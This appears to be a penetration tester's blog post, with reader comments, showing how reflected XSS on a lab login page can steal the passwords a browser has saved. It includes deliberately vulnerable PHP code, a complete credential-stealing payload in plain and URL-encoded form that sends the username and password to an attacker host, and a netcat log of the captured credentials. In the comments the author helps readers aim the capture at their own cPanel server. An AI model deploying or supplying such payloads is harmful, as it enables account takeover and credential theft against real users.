Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Most people are already aware of using XSS to pop alerts or steal cookies. Today I’d like to show XSS password stealing.
While stealing credentials with XSS is a bit more difficult, the pay off is even greater. You do not need to worry about cookies becoming invalid, and there’s always the chance of reused credentials.
For another fun example, you can check out this blog post.
If you prefer a video over reading the text, then you can find the YouTube version of this post below.
That said, don’t forget to hit those like and subscribe buttons to help support the blog and channel!
The application I will be attacking is a slightly modified version of one of my demo pages.
I borrowed the index.php file from a LASACTF challenge and edited for this attack.
<html> <head> <title>Login</title> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css"> </head> <body> <div class="container"> <div class="row"> <div class="col-md-8 col-md-offset-2"> <h3>Log In</h3> <form action="login.php" method="POST" onsubmit="return checkValid()"> <fieldset> <div class="form-group"> <label for="username">Username:</label> <input type="text" id="username" name="username" class="form-control"> </div> <div class="form-group"> <label for="password">Password:</label> <div class="controls"> <input type="password" id="password" name="password" class="form-control"> </div> </div> <div class="form-actions"> <input type="submit" value="Login" class="btn btn-primary"> </div> </fieldset> </form> </div> </div> </div> <?php $lang = $_GET['lang']; echo "<i>Your current language is $lang</i>" ?> <!-- Example from LASACTF - https://github.com/LASACTF/LASACTF-Problems/blob/master/Problems/Web%20Exploitation/client-side/webroot/index.html --> </body> </html>
Login.php is a simple CTF login that will display a flag upon success. While this is vulnerable to SQL injection, this is not the attack I’m going to demonstrate.
<?php include "app/config.php"; $con = new SQLite3($database_file); $username = $_POST["username"]; $password = $_POST["password"]; $query = "SELECT * FROM users WHERE name='$username' AND password='$password'"; $result = $con->query($query); $row = $result->fetchArray(); if ($row) { echo "<h1>Logged in!</h1>"; echo "<p>Your flag is: $FLAG</p>"; } else { echo "<h1>Login failed.</h1>"; } ?>
While not necessary for this vulnerability, app/config.php contains the flag and the DB file’s location.
<?php $database_file = "app/users.db"; $FLAG = "CTFs{inj3ction_fl4g}" ?>
Other than that, you will need a SQLite database containing user information for the application to properly function. If you’d like to just follow along, I’ve included the one that I’m using below.
If you did not notice earlier, the lang parameter is vulnerable to an XSS attack.
After modifying the language parameter slightly, an alert pop-up appears.
In this case, the attack will be against the browser’s saved credentials.
First, I obtained the username and password from the SQLite database for a proper login.
root@kali:~/passSteal/app# sqlite3 users.db sqlite> select * from users; admin|bsides_passw0rd
With the proper credentials in hand, I logged into the application. When prompted, I had the browser remember this login.
The next time I loaded up index.php, my credentials were already populated as expected.
In this case, if our victim has credentials saved in their browser, then we can steal them with XSS.
First, we need a duplicated copy of the login form (for the browser to auto-populate). Other than that, we just need a JavaScript function to actually grab the credentials and send them back to us.
Our final payload will look something like this:
</body> <body onload='stealCreds();'> <div style="opacity:0;"> <form> <input type="text" name="username" id="username" /> <input type="password" name="password" id="password" /> </form> <script> function stealCreds(){ var user = document.getElementById('username').value; var pass = document.getElementById('password').value; new Image().src="http://10.0.2.15/login?u=" + user + "&p=" + pass; } </script> </div>
Once I had my payload in hand, I URL encoded it to make pasting it into the browser a bit simpler.
%22%3e%3c%2f%62%6f%64%79%3e%0a%3c%62%6f%64%79%20%6f%6e%6c%6f%61%64%3d%27%73%74%65%61%6c%43%72%65%64%73%28%29%3b%27%3e%0a%3c%64%69%76%20%73%74%79%6c%65%3d%22%6f%70%61%63%69%74%79%3a%30%3b%22%3e%0a%20%20%3c%66%6f%72%6d%3e%0a%20%20%20%20%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%74%65%78%74%22%20%6e%61%6d%65%3d%22%75%73%65%72%6e%61%6d%65%22%20%69%64%3d%22%75%73%65%72%6e%61%6d%65%22%20%2f%3e%0a%20%20%20%20%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%70%61%73%73%77%6f%72%64%22%20%6e%61%6d%65%3d%22%70%61%73%73%77%6f%72%64%22%20%69%64%3d%22%70%61%73%73%77%6f%72%64%22%20%2f%3e%0a%20%20%3c%2f%66%6f%72%6d%3e%0a%20%20%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%65%61%6c%43%72%65%64%73%28%29%7b%0a%20%20%20%20%20%20%2f%2f%76%61%72%20%74%20%3d%20%6e%65%77%20%44%61%74%65%28%29%2e%67%65%74%54%69%6d%65%20%2b%20%32%30%30%30%3b%0a%20%20%20%20%20%20%2f%2f%77%68%69%6c%65%28%6e%65%77%20%44%61%74%65%28%29%2e%67%65%74%54%69%6d%65%28%29%20%3c%20%74%29%7b%7d%0a%20%20%20%20%20%20%76%61%72%20%75%73%65%72%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%75%73%65%72%6e%61%6d%65%27%29%2e%76%61%6c%75%65%3b%0a%20%20%20%20%20%20%76%61%72%20%70%61%73%73%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%70%61%73%73%77%6f%72%64%27%29%2e%76%61%6c%75%65%3b%0a%20%20%20%20%20%20%6e%65%77%20%49%6d%61%67%65%28%29%2e%73%72%63%3d%22%68%74%74%70%3a%2f%2f%31%30%2e%30%2e%32%2e%31%35%2f%6c%6f%67%69%6e%3f%75%3d%22%20%2b%20%75%73%65%72%20%2b%20%22%26%70%3d%22%20%2b%20%70%61%73%73%3b%0a%20%20%20%20%7d%0a%20%20%3c%2f%73%63%72%69%70%74%3e%0a%3c%2f%64%69%76%3e%0a
Upon loading the page with our new malicious lang parameter, the browser injected our new code.
Additionally, the application sent the stored creds over the wire to our attacking machine!
root@kali:~/passSteal# nc -lvp 80 listening on [any] 80 ... connect to [10.0.2.15] from kali [10.0.2.15] 43210 GET /login?u=admin&p=bsides_passw0rd HTTP/1.1 Host: 10.0.2.15 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:1234/?lang=en%22%3e%3c%2f%62%6f%64%79%3e%0a%3c%62%6f%64%79%20%6f%6e%6c%6f%61%64%3d%27%73%74%65%61%6c%43%72%65%64%73%28%29%3b%27%3e%0a%3c%64%69%76%20%73%74%79%6c%65%3d%22%6f%70%61%63%69%74%79%3a%30%3b%22%3e%0a%20%20%3c%66%6f%72%6d%3e%0a%20%20%20%20%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%74%65%78%74%22%20%6e%61%6d%65%3d%22%75%73%65%72%6e%61%6d%65%22%20%69%64%3d%22%75%73%65%72%6e%61%6d%65%22%20%2f%3e%0a%20%20%20%20%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%70%61%73%73%77%6f%72%64%22%20%6e%61%6d%65%3d%22%70%61%73%73%77%6f%72%64%22%20%69%64%3d%22%70%61%73%73%77%6f%72%64%22%20%2f%3e%0a%20%20%3c%2f%66%6f%72%6d%3e%0a%20%20%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%65%61%6c%43%72%65%64%73%28%29%7b%0a%20%20%20%20%20%20%2f%2f%76%61%72%20%74%20%3d%20%6e%65%77%20%44%61%74%65%28%29%2e%67%65%74%54%69%6d%65%20%2b%20%32%30%30%30%3b%0a%20%20%20%20%20%20%2f%2f%77%68%69%6c%65%28%6e%65%77%20%44%61%74%65%28%29%2e%67%65%74%54%69%6d%65%28%29%20%3c%20%74%29%7b%7d%0a%20%20%20%20%20%20%76%61%72%20%75%73%65%72%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%75%73%65%72%6e%61%6d%65%27%29%2e%76%61%6c%75%65%3b%0a%20%20%20%20%20%20%76%61%72%20%70%61%73%73%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%70%61%73%73%77%6f%72%64%27%29%2e%76%61%6c%75%65%3b%0a%20%20%20%20%20%20%6e%65%77%20%49%6d%61%67%65%28%29%2e%73%72%63%3d%22%68%74%74%70%3a%2f%2f%31%30%2e%30%2e%32%2e%31%35%2f%6c%6f%67%69%6e%3f%75%3d%22%20%2b%20%75%73%65%72%20%2b%20%22%26%70%3d%22%20%2b%20%70%61%73%73%3b%0a%20%20%20%20%7d%0a%20%20%3c%2f%73%63%72%69%70%74%3e%0a%3c%2f%64%69%76%3e%0a Connection: keep-alive
While this attack requires XSS on the login page AND saved user credentials, hopefully I demonstrated its severity.
Note that, in some cases, you will want to add a delay to the stealCreds method. The reason for this is that the browser might not fully load somewhere, and the browser will not auto-populate the creds by the time everything loads.
Other than that, remember you can shorten this payload using techniques similar to the Short XSS attack.
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
How can we code such that we email the stolen credentials to a local host email address?
So, you wouldn’t be able to send an e-mail directly with JavaScript, but you could setup a service on your server that would create and send the e-mail once it received a cookie.
For example(s): https://stackoverflow.com/questions/7381150/how-to-send-an-email-from-javascript
xD i will try xss
alert(‘hi’)
Haha, good try!
u da man
Haha, thanks!
Am I to add this to the login page or what?
function stealCreds(){
var user = document.getElementById(‘username’).value;
var pass = document.getElementById(‘password’).value;
new Image().src=”http://10.0.2.15/login?u=” + user + “&p=” + pass;
}
And also can i replace this {http://10.0.2.15/login} with a cpanel web address
You add it to the login page via the XSS vector. And you could replace it with a cpanel, you just need some way to capture the username and password.
It doesn’t capture the email cookie it only captures the cpanel cookies
whats XSS vector
Please can you give me the full code with XSS vector
That is the full code, you need to find a vulnerable login page to inject it into like the example.
Where will the cookie result be stored?
The cookie would be sent to your attacking system, so in that case: 10.0.2.15
refre
Haha, trying to find some XSS here as well?